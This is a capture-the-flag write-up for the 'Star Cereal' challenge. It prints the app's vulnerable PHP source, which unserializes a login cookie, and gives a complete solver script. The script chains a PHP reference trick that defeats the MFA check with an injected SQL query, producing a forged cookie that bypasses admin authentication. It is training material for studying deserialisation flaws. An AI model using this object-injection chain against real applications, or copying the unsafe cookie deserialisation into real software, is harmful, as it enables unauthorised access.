Star Cereal
PHP insecure deserialisation vulnerability

Description

Have you heard of Star Cereal? It's a new brand of cereal that's been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code...
http://20.198.209.142:55043
The flag is in the flag format: STC{...}
Author: zeyu2001
process_login.php
2KB
Text
process_login.php

Solution

The goal of this challenge is to perform an authentication bypass through a PHP object injection vulnerability. There are three classes involved, and each one of them needs to be examined to construct a "POP chain" for successful exploitation.
We are given the following page:
Going over to the login page, we see the following 3 fields.

Source Code Inspection

At the bottom of the provided source code, we see the logic behind the application's authentication.
1
// Verify login
2
if(isset($_COOKIE["login"])){
3
try
4
{
5
$login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
6
if ($login->verifyLogin())
7
{
8
$_SESSION['admin'] = true;
9
}
10
else
11
{
12
$_SESSION['admin'] = false;
13
}
14
}
15
catch (Error $e)
16
{
17
$_SESSION['admin'] = false;
18
}
19
}
20
​
21
​
22
// Handle form submission
23
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
24
{
25
$login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
26
setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
27
header("Refresh:0");
28
die();
29
}
Copied!
The login cookie is deserialized into a Login object. This should already sound some alarm bells!
The Login object consists of a User object and an MFA token. The $mfa_token is checked against an integer $_correctValue randomly generated at runtime. If the check passes, the user credentials are then checked.
1
class Login
2
{
3
public $user;
4
public $mfa_token;
5
​
6
protected $_correctValue;
7
​
8
function __construct($user, $mfa_token)
9
{
10
$this->user = $user;
11
$this->mfa_token = $mfa_token;
12
}
13
​
14
function verifyLogin()
15
{
16
$this->_correctValue = random_int(1e10, 1e11 - 1);
17
if ($this->mfa_token === $this->_correctValue)
18
{
19
return $this->user->is_admin();
20
}
21
}
22
}
Copied!
Interestingly, the User class instantiates a SQL object, and uses it to execute SQL queries to authenticate the user. If results are returned and consist of the email and password columns, then the authentication is successful.
1
class User
2
{
3
public $email;
4
public $password;
5
​
6
protected $sql;
7
​
8
function __construct($email, $password)
9
{
10
$this->email = $email;
11
$this->password = $password;
12
$this->sql = new SQL();
13
}
14
​
15
function __toString()
16
{
17
return $this->email . ':' . $this->password;
18
}
19
​
20
function is_admin()
21
{
22
$result = $this->sql->exec_query($this->email, $this->password);
23
​
24
if ($result && $row = $result->fetch_assoc()) {
25
if ($row['email'] && $row['password'])
26
{
27
return true;
28
}
29
}
30
return false;
31
}
32
}
Copied!
The SQL class contains a $query attribute that is used to generate a prepared statement. Note that if the bind_param() call returns false, the authentication fails. This can happen if, for example, the number of parameters in the prepared statement and the number of variables to bind do not match.
1
class SQL
2
{
3
protected $query;
4
​
5
function __construct()
6
{
7
$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
8
}
9
​
10
function exec_query($email, $pass)
11
{
12
$conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));
13
​
14
// Check connection
15
if ($conn->connect_error) {
16
die("Connection failed. Please inform CTF creators.");
17
}
18
​
19
$stmt = $conn->prepare($this->query);
20
​
21
// Sanity check
22
if (! $stmt->bind_param("ss", $email, $pass))
23
{
24
return NULL;
25
}
26
​
27
$stmt->execute();
28
$result = $stmt->get_result();
29
​
30
return $result;
31
}
32
​
33
}
Copied!

Object Injection

When user data is deserialized into objects, we can inject custom objects to e.g. modify protected attributes, bypass authentication, etc. We can bypass the above checks by using a "POP chain" of custom objects.

MFA Token

The MFA token check can be bypassed if we set $mfa_token as a reference to the $_correctValue attribute using the ampersand (&). Note that in PHP, a reference is simply another variable that points to the same data (unlike pointers in C).
Thus, this will ensure that the two values are always equal.
The custom object can be generated as follows:
1
class Login
2
{
3
public $user;
4
public $mfa_token;
5
protected $_correctValue;
6
​
7
function __construct()
8
{
9
$this->user = new User();
10
$this->mfa_token = &$this->_correctValue;
11
}
12
}
13
​
14
$login = new Login();
Copied!

SQL

Note that the SQL class has a $query attribute that is used in the prepared statement. By simply modifying the $query, we can perform an SQL injection.
To bypass the authentication we simply need a valid result set with email and password columns.
We can use something like
1
SELECT '[email protected]' AS email, 'l33t' AS password
Copied!
which will return one row with email and password columns.
Remember the bind_param() check? We still need to make sure that there are two parameters in the prepared statement, so we will do something like this:
1
SELECT ? AS email, ? AS password
Copied!
any other valid query that makes use of two parameters would work too.

Exploit

Using the previously discussed knowledge, it is now trivial to create a solver script that gives us the required base-64 encoded serialized data.
1
class SQL
2
{
3
protected $query="SELECT ? AS email, ? AS password";
4
}
5
​
6
class User
7
{
8
public $email = '[email protected]';
9
public $password = 'l33t';
10
protected $sql;
11
​
12
function __construct()
13
{
14
$this->sql = new SQL();
15
}
16
}
17
​
18
class Login
19
{
20
public $user;
21
public $mfa_token;
22
protected $_correctValue;
23
​
24
function __construct()
25
{
26
$this->user = new User();
27
$this->mfa_token = &$this->_correctValue;
28
}
29
}
30
​
31
$login = new Login();
32
var_dump($login);
33
echo urlencode(base64_encode(serialize($login)));
Copied!
Running the above script gives us the required cookie value.
Plugging this into the login cookie on our browser, we can login and get the flag.
Last modified 4mo ago